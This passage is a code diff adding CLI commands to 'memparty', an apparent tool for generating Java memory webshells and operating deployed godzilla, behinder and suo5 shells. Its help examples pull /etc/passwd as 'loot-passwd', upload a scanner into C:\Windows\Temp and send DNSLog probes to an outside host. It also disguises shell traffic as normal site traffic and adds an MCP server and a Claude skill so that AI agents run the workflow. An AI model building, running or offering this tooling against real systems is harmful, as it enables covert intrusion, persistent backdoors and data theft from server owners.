.option("--limit <n>", "max entries (default 50)", "50") + .option("--json", "output raw JSON entries (newest first)") + .addHelpText( + "after", + ` +Examples: + $ memparty log # latest 50 operations + $ memparty log --category exec # only command executions + $ memparty log --category save # only target saves + $ memparty log --target web1 # everything against project web1 + $ memparty log --category exec --target 192.0.2.10 --json +`, + ) + .action((opts: LogCmdOptions) => { + const limit = Number.parseInt(opts.limit ?? "50", 10); + const entries = readOps({ + category: opts.category, + target: opts.target, + limit: Number.isNaN(limit) ? 50 : limit, + }); + if (opts.json) { + process.stdout.write(`${JSON.stringify({ logPath: opLogPath(), entries }, null, 2)}\n`); + return; + } + if (entries.length === 0) { + process.stdout.write(`no operations logged yet (log: ${opLogPath()})\n`); + return; + } + for (const entry of entries) { + process.stdout.write(`${formatOp(entry)}\n`); + } + }); +} diff --git a/tools/cli/src/commands/mcp.ts b/tools/cli/src/commands/mcp.ts new file mode 100644 index 00000000..92b43460 --- /dev/null +++ b/tools/cli/src/commands/mcp.ts @@ -0,0 +1,17 @@ +import { Command } from "commander"; + +import { createClient, type GlobalOptions, logInfo } from "../cli-context.js"; +import { startMcpStdio } from "../mcp/server.js"; +import { resolveApiUrl } from "../core/config.js"; + +export function registerMcpCommand(program: Command): void { + program + .command("mcp") + .description("Run as an MCP server over stdio (exposes generation + config tools)") + .action(async (_opts: GlobalOptions, cmd: Command) => { + const globals = cmd.optsWithGlobals(); + const client = createClient(globals); + logInfo(`memshell-party MCP server starting (api: ${resolveApiUrl({ flag: globals.api })})`); + await startMcpStdio(client); + }); +} diff --git a/tools/cli/src/commands/parse-classname.ts b/tools/cli/src/commands/parse-classname.ts new file mode 100644 index 00000000..5fa91990 --- /dev/null +++ b/tools/cli/src/commands/parse-classname.ts @@ -0,0 +1,40 @@ +import { readFileSync } from "node:fs"; + +import { Command } from "commander"; + +import { createClient, type GlobalOptions } from "../cli-context.js"; + +interface ParseCmdOptions extends GlobalOptions { + file?: string; +} + +export function registerParseClassNameCommand(program: Command): void { + program + .command("parse-classname") + .description("Parse the fully-qualified class name from a .class file") + .argument("[base64]", "base64-encoded .class bytes (omit when using --file)") + .option("-f, --file <path>", "read a .class file from disk instead of passing base64") + .addHelpText( + "after", + ` +Examples: + $ memparty parse-classname -f shell.class + $ memparty parse-classname "$(memparty gen -s Tomcat -t Command -y Filter \\ + -p DefaultBase64 --command-param-name cmd)" +`, + ) + .action(async (base64: string | undefined, opts: ParseCmdOptions, cmd: Command) => { + let classBase64: string; + if (opts.file) { + classBase64 = readFileSync(opts.file).toString("base64"); + } else if (base64) { + classBase64 = base64.trim(); + } else { + throw new Error("Provide base64 bytes as an argument or use --file <path>."); + } + + const client = createClient(cmd.optsWithGlobals()); + const name = await client.parseClassName(classBase64); + process.stdout.write(`${name}\n`); + }); +} diff --git a/tools/cli/src/commands/probe.ts b/tools/cli/src/commands/probe.ts new file mode 100644 index 00000000..2f125183 --- /dev/null +++ b/tools/cli/src/commands/probe.ts @@ -0,0 +1,178 @@ +import { Command, Option } from "commander"; + +import { createClient, type GlobalOptions, logInfo } from "../cli-context.js"; +import { logOp } from "../core/oplog.js"; +import { emitPayload } from "../core/output.js"; +import { buildProbeRequest, type ProbeOptions } from "../core/request-builder.js"; +import { runProbeWizard } from "../wizard/probe-wizard.js"; + +interface ProbeCmdOptions extends GlobalOptions { + method?: string; + content?: string; + packer?: string; + jdk?: string; + debug?: boolean; + bypassModule?: boolean; + shrink?: boolean; + lambdaSuffix?: boolean; + staticInitialize?: boolean; + shellClassName?: string; + host?: string; + seconds?: string; + sleepServer?: string; + server?: string; + reqParamName?: string; + commandTemplate?: string; + output?: string; + decode?: boolean; + json?: boolean; + interactive?: boolean; +} + +const REQUIRED = ["method", "content", "packer"] as const; + +function toOptions(o: ProbeCmdOptions): ProbeOptions { + return { + probeMethod: o.method!, + probeContent: o.content!, + packer: o.packer!, + jdk: o.jdk, + debug: o.debug, + byPassJavaModule: o.bypassModule, + shrink: o.shrink, + lambdaSuffix: o.lambdaSuffix, + staticInitialize: o.staticInitialize, + shellClassName: o.shellClassName, + host: o.host, + seconds: o.seconds !== undefined ? Number(o.seconds) : undefined, + sleepServer: o.sleepServer, + server: o.server, + reqParamName: o.reqParamName, + commandTemplate: o.commandTemplate, + }; +} + +export function registerProbeCommand(program: Command): void { + program + .command("probe") + .description("Generate a probe/detection shell. Runs an interactive wizard when required flags are missing.") + .option("-m, --method <method>", "probe method: ResponseBody, DNSLog, Sleep") + .option("-c, --content <content>", "probe content: BasicInfo, Server, OS, JDK, Bytecode, Command") + .option("-p, --packer <packer>", "packer, e.g. Base64, JSP") + .option("--jdk <version>", "target JDK: java6/8/9/11/17/21, or a class-file major version") + .option("--debug", "enable debug output") + .option("--bypass-module", "bypass Java module restrictions") + .option("--no-shrink", "disable bytecode shrinking (enabled by default)") + .option("--lambda-suffix", "append a lambda class-name suffix") + .option("--no-static-initialize", "disable static initialization (enabled by default)") + .option("--shell-class-name <name>", "explicit shell class name") + .option("--host <host>", "DNSLog host (DNSLog method)") + .option("--seconds <n>", "sleep seconds (Sleep method)") + .option("--sleep-server <server>", "server to fingerprint (Sleep method)") + .option("--server <server>", "server (ResponseBody method)") + .option("--req-param-name <name>", "request param name (ResponseBody method)") + .option("--command-template <tpl>", "command template ({command} placeholder)") + .option("-o, --output <file>", "write payload to a file instead of stdout") + .addOption(new Option("--decode", "base64-decode the payload before writing")) + .addOption(new Option("--no-decode", "do not base64-decode the payload")) + .option("--json", "print the full JSON response instead of just the payload") + .option("-i, --interactive", "force the interactive wizard") + .option("--no-interactive", "never launch the wizard; error on missing flags") + .addHelpText( + "after", + ` +Examples: + $ memparty probe # interactive wizard + $ memparty probe -m ResponseBody -c Command -p DefaultBase64 \\ + --server Tomcat --req-param-name cmd + $ memparty probe -m DNSLog -c Server -p DefaultBase64 --host x.dnslog.cn + $ memparty probe -m Sleep -c Server -p DefaultBase64 \\ + --sleep-server Tomcat --seconds 5 + +Note: a probe is a detection shell that reports what the target supports. +The server name reported by '-c Server' is the value to pass as +'memparty gen -s'. +`, + ) + .action(async (opts: ProbeCmdOptions, cmd: Command) => { + const client = createClient(cmd.optsWithGlobals()); + + const missing = REQUIRED.filter((k) => !opts[k]); + const stdinIsTty = Boolean(process.stdin.isTTY); + const wantWizard = + opts.interactive === true || + (opts.interactive !== false && missing.length > 0 && stdinIsTty); + + let probeOpts: ProbeOptions; + if (wantWizard) { + probeOpts = await runProbeWizard(client); + } else { + if (missing.length > 0) { + throw new Error( + `Missing required option(s): ${missing.map((m) => `--${m}`).join(", ")}. ` + + `Run in a terminal for the wizard, or pass -i.`, + ); + } + probeOpts = toOptions(opts); + } + + const request = buildProbeRequest(probeOpts); + const probeMeta = { + probeMethod: probeOpts.probeMethod, + probeContent: probeOpts.probeContent, + packer: probeOpts.packer, + jdk: probeOpts.jdk, + }; + const started = Date.now(); + let response; + try { + response = await client.generateProbe(request); + } catch (err) { + logOp({ + category: "probe", + action: "probe", + ok: false, + durationMs: Date.now() - started, + error: err instanceof Error ? err.message : String(err), + meta: probeMeta, + }); + throw err; + } + logOp({ + category: "probe", + action: "probe", + ok: true, + durationMs: Date.now() - started, + detail: `${response.probeShellResult.shellClassName} (${response.probeShellResult.shellSize} bytes)`, + meta: probeMeta, + }); + + if (opts.json) { + process.stdout.write(`${JSON.stringify(response, null, 2)}\n`); + return; + } + + const r = response.probeShellResult; + logInfo(`shell class: ${r.shellClassName} (${r.shellSize} bytes)`); + + if (response.allPackResults && Object.keys(response.allPackResults).length > 0) { + for (const [name, value] of Object.entries(response.allPackResults)) { + logInfo(`\n=== ${name} ===`); + process.stdout.write(`${value}\n`); + } + return; + } + + if (response.packResult === undefined) { + throw new Error("Server returned no packResult."); + } + + const result = emitPayload(response.packResult, { + outFile: opts.output, + decode: opts.decode, + }); + if (result.destination !== "stdout") { + logInfo(`wrote ${result.size} bytes to ${result.destination}${result.decoded ? " (base64-decoded)" : ""}`); + } + }); +} diff --git a/tools/cli/src/commands/profile.ts b/tools/cli/src/commands/profile.ts new file mode 100644 index 00000000..4165a061 --- /dev/null +++ b/tools/cli/src/commands/profile.ts @@ -0,0 +1,121 @@ +import { Command } from "commander"; + +import { reportError, type GlobalOptions } from "../cli-context.js"; +import { + listProfiles, + loadProfile, + profilePath, + profileRequests, + profileSkeleton, + profileTemplates, + saveProfile, +} from "../core/site-profile.js"; + +interface ProfileCmdOptions extends GlobalOptions { + site?: string; + json?: boolean; +} + +/** + * `memparty profile` — manage site profiles for the mimic protocol. + * Profiles are hand-written (by the operator or an AI agent); this command + * only scaffolds, lists and inspects them. + */ +export function registerProfileCommand(program: Command): void { + const cmd = program + .command("profile") + .description("Manage site profiles for the mimic protocol (init / list / show / check)"); + + cmd.command("init") + .description("Write a skeleton profile JSON for hand-authoring") + .argument("<name>", "profile name (letters, digits, '.', '_', '-')") + .requiredOption("--site <origin>", "site origin, e.g. http://target:8080") + .option("--json", "output raw JSON") + .action((name: string, opts: ProfileCmdOptions) => { + try { + const profile = profileSkeleton(name, opts.site!); + saveProfile(profile); + if (opts.json) { + process.stdout.write(`${JSON.stringify({ ok: true, ...profile }, null, 2)}\n`); + } else { + process.stdout.write( + `profile skeleton written -> ${profilePath(name)}\n` + + `now edit it: paste a real page's HTML into "template", set "title",\n` + + `and fill "paths" with the site's path vocabulary (e.g. ["/api/", "/news/"]).\n` + + `AI agents: read the site's pages yourself and pick a high-traffic,\n` + + `self-contained page — see the "Site-mimicking traffic (mimic protocol)"\n` + + `section of the memshell-party skill.\n`, + ); + } + } catch (err) { + reportError(err instanceof Error ? err.message : String(err), opts.json ? ["--json"] : []); + process.exitCode = 1; + } + }); + + cmd.command("list") + .description("List saved profiles") + .option("--json", "output raw JSON") + .action((opts: ProfileCmdOptions) => { + const names = listProfiles(); + if (opts.json) { + process.stdout.write(`${JSON.stringify({ profiles: names }, null, 2)}\n`); + } else { + process.stdout.write(names.length > 0 ? `${names.join("\n")}\n` : "(no profiles yet)\n"); + } + }); + + cmd.command("show") + .description("Print a saved profile") + .argument("<name>", "profile name") + .option("--json", "output raw JSON (default)") + .action((name: string) => { + try { + const profile = loadProfile(name); + process.stdout.write(`${JSON.stringify(profile, null, 2)}\n`); + } catch (err) { + reportError(err instanceof Error ? err.message : String(err), []); + process.exitCode = 1; + } + }); + + cmd.command("check") + .description("Validate a saved profile (schema + basic sanity), exit 0 when valid") + .argument("<name>", "profile name") + .option("--json", "output raw JSON") + .addHelpText( + "after", + ` +Examples: + $ memparty profile check acme + $ memparty profile check acme --json +`, + ) + .action((name: string, opts: ProfileCmdOptions) => { + try { + const profile = loadProfile(name); // load validates + if (opts.json) { + process.stdout.write(`${JSON.stringify({ ok: true, name }, null, 2)}\n`); + } else { + const templates = profileTemplates(profile); + const lines = templates.map( + (t, i) => ` tpl[${i}]: ${t.template.length} bytes (${t.contentType}) ${t.title || "(no title)"}`, + ); + const shapes = profileRequests(profile) + .map((r) => `${r.secretField}${r.secretIn && r.secretIn !== "body" ? ` (${r.secretIn})` : ""}`) + .join(", "); + const requestLine = shapes ? ` request: ${shapes}\n` : ""; + process.stdout.write( + `profile '${name}' is valid\n` + + ` site: ${profile.site}\n` + + `${lines.join("\n")}\n` + + requestLine + + ` paths: ${profile.paths.join(" ") || "(none — --dynamic-path will be a no-op)"}\n`, + ); + } + } catch (err) { + reportError(err instanceof Error ? err.message : String(err), opts.json ? ["--json"] : []); + process.exitCode = 1; + } + }); +} diff --git a/tools/cli/src/commands/skill.ts b/tools/cli/src/commands/skill.ts new file mode 100644 index 00000000..cefe876a --- /dev/null +++ b/tools/cli/src/commands/skill.ts @@ -0,0 +1,78 @@ +import { Command } from "commander"; + +import { logInfo, reportError, type GlobalOptions } from "../cli-context.js"; +import { logOp } from "../core/oplog.js"; +import { installSkill, type SkillScope } from "../core/skill-install.js"; + +interface SkillInstallCmdOptions extends GlobalOptions { + user?: boolean; + claude?: boolean; + project?: string | boolean; + json?: boolean; +} + +/** + * `memparty skill install` — copy the bundled agent skill into an agent's + * skill directory so the mimic/memshell workflow shows up in its skill list. + */ +export function registerSkillCommand(program: Command): void { + program + .command("skill") + .description("Manage the bundled agent skill (skills/memshell-party)") + .addCommand( + new Command("install") + .description("Install the memshell-party skill into an agent's skill directory") + .option("--user", "install to ~/.agents/skills (default)") + .option("--claude", "install to ~/.claude/skills (Claude Code)") + .option("--project [dir]", "install to <dir>/skills (default: current directory)") + .option("--json", "output raw JSON") + .addHelpText( + "after", + ` +The package ships skills/memshell-party/SKILL.md — the workflow guide that +teaches an agent how to write site profiles, build custom shells and connect. +This command copies it where agents look for skills. Re-run after a CLI +upgrade to refresh the skill. Restart/rescan your agent to pick it up. + +Examples: + $ memparty skill install # ~/.agents/skills/memshell-party + $ memparty skill install --claude # ~/.claude/skills/memshell-party + $ memparty skill install --project # ./skills/memshell-party + $ memparty skill install --user --claude # both +`, + ) + .action((opts: SkillInstallCmdOptions) => { + const scopes: SkillScope[] = []; + if (opts.user) scopes.push("user"); + if (opts.claude) scopes.push("claude"); + if (opts.project !== undefined && opts.project !== false) { + scopes.push("project"); + } + if (scopes.length === 0) scopes.push("user"); + + const projectDir = typeof opts.project === "string" ? opts.project : undefined; + try { + const results = installSkill(scopes, { projectDir }); + logOp({ + category: "gen", + action: "skill-install", + ok: true, + detail: results.map((r) => `${r.scope}:${r.dir}`).join(", "), + }); + if (opts.json) { + process.stdout.write(`${JSON.stringify({ ok: true, installed: results }, null, 2)}\n`); + return; + } + for (const r of results) { + logInfo(`installed [${r.scope}] ${r.dir} (${r.files.join(", ")})`); + } + process.stdout.write( + "\nskill installed — restart or rescan your agent to pick it up.\n", + ); + } catch (err) { + reportError(err instanceof Error ? err.message : String(err), opts.json ? ["--json"] : []); + process.exitCode = 1; + } + }), + ); +} diff --git a/tools/cli/src/commands/target.ts b/tools/cli/src/commands/target.ts new file mode 100644 index 00000000..d22c1b5a --- /dev/null +++ b/tools/cli/src/commands/target.ts @@ -0,0 +1,250 @@ +import { Command, Option } from "commander"; + +import { + getProject, + listProjects, + removeProject, + removeShell, + saveProjectMeta, + saveShell, + saveShellMeta, + targetStorePath, + type ShellInput, +} from "../core/targets.js"; +import { logOp } from "../core/oplog.js"; + +interface TargetSaveOptions { + url?: string; + tool?: string; + pass?: string; + key?: string; + headerName?: string; + headerValue?: string; + header?: string[]; + insecure?: boolean; + remark?: string; + category?: string; + shellRemark?: string; + json?: boolean; +} + +function parseExtraHeaders(lines: string[] | undefined): Record<string, string> { + const headers: Record<string, string> = {}; + for (const line of lines ?? []) { + const idx = line.indexOf(":"); + if (idx <= 0) { + throw new Error(`invalid header ${JSON.stringify(line)}, expected "Name: value"`); + } + headers[line.slice(0, idx).trim()] = line.slice(idx + 1).trim(); + } + return headers; +} + +function parseRef(ref: string): { project: string; shell?: string } { + const slash = ref.indexOf("/"); + if (slash === -1) return { project: ref }; + return { project: ref.slice(0, slash), shell: ref.slice(slash + 1) }; +} + +function listTargets(opts: { category?: string; json?: boolean }): void { + const all = listProjects(); + const names = Object.keys(all).filter( + (n) => opts.category === undefined || all[n]!.category === opts.category, + ); + if (opts.json) { + const filtered: Record<string, unknown> = {}; + for (const n of names) filtered[n] = all[n]; + process.stdout.write(`${JSON.stringify(filtered, null, 2)}\n`); + return; + } + if (names.length === 0) { + process.stdout.write(`no saved projects (store: ${targetStorePath()})\n`); + return; + } + for (const name of names) { + const p = all[name]!; + const meta = + [p.category ? `[${p.category}]` : undefined, p.remark].filter(Boolean).join(" "); + process.stdout.write(`${name}${meta ? ` ${meta}` : ""}\n`); + for (const [shellName, s] of Object.entries(p.shells)) { + const line = ` ${name}/${shellName} ${s.tool} ${s.url}`; + process.stdout.write(`${line}${s.remark ? ` — ${s.remark}` : ""}\n`); + } + } +} + +export function registerTargetCommand(program: Command): void { + program + .command("save") + .description( + "Save a shell connection profile as <project>/<shell> (overwrites an existing shell)", + ) + .argument("<ref>", "shell reference: <project>/<shell>") + .requiredOption("-u, --url <url>", "URL of the deployed shell") + .addOption( + new Option("-t, --tool <tool>", "shell tool").choices(["godzilla", "behinder", "suo5"]), + ) + .option("--pass <pass>", "password") + .option("--key <key>", "godzilla key") + .option("--header-name <name>", "gate header name (shellToolConfig.headerName)") + .option("--header-value <value>", "gate header value (shellToolConfig.headerValue)") + .option("-H, --header <line...>", 'extra request header, e.g. -H "Cookie: a=b"') + .option("-k, --insecure", "skip TLS certificate verification") + .option("--remark <text>", "project remark (merged into the project)") + .option("--category <name>", "project category (merged into the project)") + .option("--shell-remark <text>", "remark for this shell") + .option("--json", "output raw JSON") + .addHelpText( + "after", + ` +Examples: + $ memparty save web1/bh9060 -u http://192.0.2.10:9060/console/service \\ + -t behinder --pass rebeyond --header-name User-Agent --header-value my-secret-token \\ + --remark "内网测试环境" --category test + $ memparty list # show saved targets + $ memparty exec web1/bh9060 --cmd "whoami" + +Note: connect/exec already auto-save a verified shell as <host>/<tool>; +save is for choosing the name by hand. +`, + ) + .action((ref: string, opts: TargetSaveOptions) => { + const { project, shell } = parseRef(ref); + if (!shell) { + process.stderr.write( + `Error: expected <project>/<shell>, got ${JSON.stringify(ref)}\n`, + ); + process.exitCode = 1; + return; + } + if (!opts.tool) { + process.stderr.write("Error: --tool is required (godzilla | behinder | suo5)\n"); + process.exitCode = 1; + return; + } + if (opts.remark !== undefined || opts.category !== undefined) { + saveProjectMeta(project, { remark: opts.remark, category: opts.category }); + } + const input: ShellInput = { + url: opts.url!, + tool: opts.tool as ShellInput["tool"], + pass: opts.pass, + key: opts.key, + headerName: opts.headerName, + headerValue: opts.headerValue, + extraHeaders: parseExtraHeaders(opts.header), + insecure: opts.insecure || undefined, + remark: opts.shellRemark, + }; + const stored = saveShell(project, shell, input); + logOp({ + category: "save", + action: "save", + targetName: `${project}/${shell}`, + url: stored.url, + tool: stored.tool, + ok: true, + detail: "saved", + meta: { + projectRemark: opts.remark, + projectCategory: opts.category, + shellRemark: opts.shellRemark, + }, + }); + if (opts.json) { + process.stdout.write( + `${JSON.stringify({ project, shell, ...stored }, null, 2)}\n`, + ); + } else { + process.stdout.write( + `saved ${project}/${shell} (${stored.tool} ${stored.url}) -> ${targetStorePath()}\n`, + ); + } + }); + + program + .command("note") + .description("Set a remark/category on a project, or a remark on a shell (<project>[/<shell>])") + .argument("<ref>", "project name or <project>/<shell>") + .option("--remark <text>", 'remark ("" to clear)') + .option("--category <name>", 'project category ("" to clear; projects only)') + .action((ref: string, opts: { remark?: string; category?: string }) => { + const { project, shell } = parseRef(ref); + if (shell) { + if (opts.category !== undefined) { + process.stderr.write("Error: --category only applies to projects\n"); + process.exitCode = 1; + return; + } + if (opts.remark === undefined) { + process.stderr.write("Error: nothing to set — pass --remark\n"); + process.exitCode = 1; + return; + } + const updated = saveShellMeta(project, shell, { remark: opts.remark }); + logOp({ + category: "note", + action: "note", + targetName: `${project}/${shell}`, + ok: true, + detail: `remark=${updated.remark ?? "-"}`, + }); + process.stdout.write(`${project}/${shell}: remark=${updated.remark ?? "-"}\n`); + return; + } + if (opts.remark === undefined && opts.category === undefined) { + process.stderr.write("Error: nothing to set — pass --remark and/or --category\n"); + process.exitCode = 1; + return; + } + const existing = getProject(project); + if (!existing) { + process.stderr.write(`Error: unknown project ${JSON.stringify(project)}\n`); + process.exitCode = 1; + return; + } + const updated = saveProjectMeta(project, { + remark: opts.remark, + category: opts.category, + }); + logOp({ + category: "note", + action: "note", + targetName: project, + ok: true, + detail: `category=${updated.category ?? "-"} remark=${updated.remark ?? "-"}`, + }); + process.stdout.write( + `${project}: category=${updated.category ?? "-"} remark=${updated.remark ?? "-"}\n`, + ); + }); + + program + .command("list") + .description("List saved projects and their shells") + .option("--category <name>", "only show projects in this category") + .option("--json", "output raw JSON") + .action(listTargets); + + program + .command("remove") + .description("Remove a whole project or a single shell (<project>[/<shell>])") + .argument("<ref>", "project name or <project>/<shell>") + .action((ref: string) => { + const { project, shell } = parseRef(ref); + const removed = shell ? removeShell(project, shell) : removeProject(project); + logOp({ + category: "remove", + action: "remove", + targetName: ref, + ok: removed, + detail: removed ? "removed" : "unknown target", + }); + if (removed) { + process.stdout.write(`removed ${ref}\n`); + } else { + process.stderr.write(`Error: unknown target ${JSON.stringify(ref)}\n`); + process.exitCode = 1; + } + }); +} diff --git a/tools/cli/src/commands/transfer.ts b/tools/cli/src/commands/transfer.ts new file mode 100644 index 00000000..94038844 --- /dev/null +++ b/tools/cli/src/commands/transfer.ts @@ -0,0 +1,357 @@ +import { writeFileSync } from "node:fs"; + +import { Command, Option } from "commander"; + +import { logInfo, reportError, type GlobalOptions } from "../cli-context.js"; +import { + protocolNames, + requireProtocol, + unsupportedMessage, + type ProtocolOptions, +} from "../connect/registry.js"; +import type { + CommonConnectOptions, + DownloadResult, + TransferResult, +} from "../connect/types.js"; +import { readUploadFile, resolveDownloadPath } from "../core/localfile.js"; +import { logOp } from "../core/oplog.js"; +import { autoSaveShell, resolveConnection, type ResolvedConnection } from "../core/targets.js"; + +interface TransferCmdOptions extends GlobalOptions { + url?: string; + tool?: string; + pass?: string; + key?: string; + headerName?: string; + headerValue?: string; + header?: string[]; + insecure?: boolean; + json?: boolean; + save?: boolean; + output?: string; + force?: boolean; + remoteCharset?: string; +} + +function parseExtraHeaders(lines: string[] | undefined): Record<string, string> { + const headers: Record<string, string> = {}; + for (const line of lines ?? []) { + const idx = line.indexOf(":"); + if (idx <= 0) { + throw new Error(`invalid header ${JSON.stringify(line)}, expected "Name: value"`); + } + headers[line.slice(0, idx).trim()] = line.slice(idx + 1).trim(); + } + return headers; +} + +interface ResolvedTransfer { + conn: ResolvedConnection; + common: CommonConnectOptions; +} + +/** Resolve the target connection; on failure report + set exit code, return null. */ +function resolveTransfer( + name: string | undefined, + opts: TransferCmdOptions, + timeoutMs: number, +): ResolvedTransfer | null { + let conn: ResolvedConnection; + try { + conn = resolveConnection(name, { + url: opts.url, + tool: opts.tool, + pass: opts.pass, + key: opts.key, + headerName: opts.headerName, + headerValue: opts.headerValue, + extraHeaders: parseExtraHeaders(opts.header), + insecure: opts.insecure, + }); + } catch (err) { + reportError(err instanceof Error ? err.message : String(err), opts.json ? ["--json"] : []); + process.exitCode = 1; + return null; + } + return { + conn, + common: { + headerName: conn.headerName, + headerValue: conn.headerValue, + extraHeaders: conn.extraHeaders, + timeoutMs, + insecure: conn.insecure, + }, + }; +} + +/** A successful transfer proves the credentials — keep them as a named target. */ +function maybeAutoSave(conn: ResolvedConnection, opts: TransferCmdOptions): string | undefined { + if (conn.targetName !== undefined || opts.save === false) return undefined; + const savedAs = autoSaveShell(conn); + conn.targetName = savedAs; + return savedAs; +} + +function printResult( + result: TransferResult, + localPath: string, + savedAs: string | undefined, + json: boolean | undefined, +): void { + if (json) { + // a DownloadResult carries the file bytes in `data` — never print those + const { data: _data, ...wire } = result as DownloadResult; + process.stdout.write(`${JSON.stringify({ ...wire, localPath, savedAs }, null, 2)}\n`); + return; + } + if (result.ok) { + const [from, to] = + result.direction === "download" + ? [result.remotePath, localPath] + : [localPath, result.remotePath]; + process.stdout.write( + `${result.direction === "download" ? "downloaded" : "uploaded"} ${result.bytes ?? 0} bytes: ` + + `${from} -> ${to} (${result.tool}, ${result.durationMs}ms)\n`, + ); + if (result.detail) logInfo(`note: ${result.detail}`); + if (savedAs) logInfo(`saved as '${savedAs}' (use --no-save to skip)`); + } else { + process.stderr.write( + `FAIL ${result.direction} ${result.tool} ${result.url}\n ${result.error ?? ""}\n`, + ); + } +} + +export function registerDownloadCommand(program: Command): void { + program + .command("download") + .description("Download a file from a deployed webshell") + .argument("[name]", "saved target name (see 'memparty list')") + .argument("[remote]", "remote file path") + .option("-u, --url <url>", "URL of the deployed shell (or give a saved target name)") + .addOption( + new Option("-t, --tool <tool>", "shell protocol").choices(protocolNames("download")), + ) + .option("-o, --output <file>", "local destination (a directory keeps the remote basename)") + .option("--force", "overwrite an existing local file") + .option("--pass <pass>", "password (godzilla default: pass; behinder default: rebeyond)") + .option("--key <key>", "godzilla key (default: key)") + .option( + "--remote-charset <label>", + "godzilla: charset for non-ASCII remote paths (e.g. GBK; default UTF-8)", + ) + .option( + "--header-name <name>", + "gate header name reported by gen (shellToolConfig.headerName)", + ) + .option( + "--header-value <value>", + "gate header value reported by gen (shellToolConfig.headerValue)", + ) + .option("-H, --header <line...>", 'extra request header, e.g. -H "Cookie: a=b"') + .option("-k, --insecure", "skip TLS certificate verification") + .option("--json", "output raw JSON") + .option("--no-save", "do not auto-save the target after a successful download") + .addHelpText( + "after", + ` +Examples: + $ memparty download -u http://target/shell.jsp -t godzilla --pass pass --key key \\ + --header-value my-secret-token /etc/passwd -o loot-passwd + $ memparty download web222 C:\\Windows\\win.ini # saved target + $ memparty download web222 /var/log/app.log -o logs/ --json + +Integrity: godzilla verifies the transferred size; behinder additionally +compares the remote MD5 against the received bytes. An existing local file +is never overwritten unless --force is given. +`, + ) + .action(async (name: string | undefined, remote: string | undefined, opts: TransferCmdOptions, cmd: Command) => { + const globals = cmd.optsWithGlobals() as GlobalOptions & { timeout?: string }; + const timeoutMs = Number.parseInt(globals.timeout ?? "30000", 10); + + // `download <remote>` or `download <name> <remote>` + let targetName = name; + let remotePath = remote; + if (remotePath === undefined) { + remotePath = name; + targetName = undefined; + } + if (!remotePath) { + reportError("missing remote file path — usage: memparty download [name] <remote>", opts.json ? ["--json"] : []); + process.exitCode = 1; + return; + } + + const resolved = resolveTransfer(targetName, opts, timeoutMs); + if (!resolved) return; + const { conn, common } = resolved; + + // decide + validate the local destination before touching the network + let localPath: string; + try { + localPath = resolveDownloadPath(remotePath, opts.output, opts.force ?? false); + } catch (err) { + reportError(err instanceof Error ? err.message : String(err), opts.json ? ["--json"] : []); + process.exitCode = 1; + return; + } + + let result: DownloadResult; + try { + const protocol = requireProtocol(conn.tool); + if (!protocol.download) { + reportError(unsupportedMessage(protocol, "download"), opts.json ? ["--json"] : []); + process.exitCode = 1; + return; + } + const options: ProtocolOptions = { remoteCharset: opts.remoteCharset }; + result = await protocol.download({ conn, common, options }, remotePath); + } catch (err) { + reportError(err instanceof Error ? err.message : String(err), opts.json ? ["--json"] : []); + process.exitCode = 1; + return; + } + + let writeError: string | undefined; + if (result.ok && result.data !== undefined) { + try { + writeFileSync(localPath, result.data); + } catch (err) { + writeError = `download succeeded but writing ${localPath} failed: ${ + err instanceof Error ? err.message : String(err) + }`; + result = { ...result, ok: false, error: writeError }; + } + } + + const savedAs = result.ok ? maybeAutoSave(conn, opts) : undefined; + logOp({ + category: "download", + action: "download", + targetName: conn.targetName, + url: conn.url, + tool: conn.tool, + ok: result.ok, + durationMs: result.durationMs, + detail: result.ok ? `${remotePath} -> ${localPath} (${result.bytes ?? 0} bytes)` : undefined, + error: result.error, + meta: { remotePath, localPath, bytes: result.bytes }, + }); + + printResult(result, localPath, savedAs, opts.json); + if (!result.ok) process.exitCode = 1; + }); +} + +export function registerUploadCommand(program: Command): void { + program + .command("upload") + .description("Upload a local file to a deployed webshell") + .argument("[name]", "saved target name (see 'memparty list')") + .argument("[local]", "local file path") + .argument("[remote]", "remote destination path") + .option("-u, --url <url>", "URL of the deployed shell (or give a saved target name)") + .addOption( + new Option("-t, --tool <tool>", "shell protocol").choices(protocolNames("upload")), + ) + .option("--pass <pass>", "password (godzilla default: pass; behinder default: rebeyond)") + .option("--key <key>", "godzilla key (default: key)") + .option( + "--remote-charset <label>", + "godzilla: charset for non-ASCII remote paths (e.g. GBK; default UTF-8)", + ) + .option( + "--header-name <name>", + "gate header name reported by gen (shellToolConfig.headerName)", + ) + .option( + "--header-value <value>", + "gate header value reported by gen (shellToolConfig.headerValue)", + ) + .option("-H, --header <line...>", 'extra request header, e.g. -H "Cookie: a=b"') + .option("-k, --insecure", "skip TLS certificate verification") + .option("--json", "output raw JSON") + .option("--no-save", "do not auto-save the target after a successful upload") + .addHelpText( + "after", + ` +Examples: + $ memparty upload -u http://target/shell.jsp -t behinder --pass rebeyond \\ + --header-value my-secret-token fscan.exe C:\\Windows\\Temp\\f.exe + $ memparty upload web222 ./agent.jar /tmp/agent.jar --json + +Upload overwrites the remote file (truncate + write). Integrity: godzilla +verifies the remote size afterwards; behinder compares MD5. A failed upload +chunk aborts the transfer — the remote file may be left partial. +`, + ) + .action(async (name: string | undefined, local: string | undefined, remote: string | undefined, opts: TransferCmdOptions, cmd: Command) => { + const globals = cmd.optsWithGlobals() as GlobalOptions & { timeout?: string }; + const timeoutMs = Number.parseInt(globals.timeout ?? "30000", 10); + + // `upload <local> <remote>` or `upload <name> <local> <remote>` + let targetName = name; + let localPath = local; + let remotePath = remote; + if (remotePath === undefined) { + remotePath = local; + localPath = name; + targetName = undefined; + } + if (!localPath || !remotePath) { + reportError("missing paths — usage: memparty upload [name] <local> <remote>", opts.json ? ["--json"] : []); + process.exitCode = 1; + return; + } + + const resolved = resolveTransfer(targetName, opts, timeoutMs); + if (!resolved) return; + const { conn, common } = resolved; + + // read + validate the local file before touching the network + let data: Buffer; + try { + data = readUploadFile(localPath); + } catch (err) { + reportError(err instanceof Error ? err.message : String(err), opts.json ? ["--json"] : []); + process.exitCode = 1; + return; + } + + let result: TransferResult; + try { + const protocol = requireProtocol(conn.tool); + if (!protocol.upload) { + reportError(unsupportedMessage(protocol, "upload"), opts.json ? ["--json"] : []); + process.exitCode = 1; + return; + } + const options: ProtocolOptions = { remoteCharset: opts.remoteCharset }; + result = await protocol.upload({ conn, common, options }, remotePath, data); + } catch (err) { + reportError(err instanceof Error ? err.message : String(err), opts.json ? ["--json"] : []); + process.exitCode = 1; + return; + } + + const savedAs = result.ok ? maybeAutoSave(conn, opts) : undefined; + logOp({ + category: "upload", + action: "upload", + targetName: conn.targetName, + 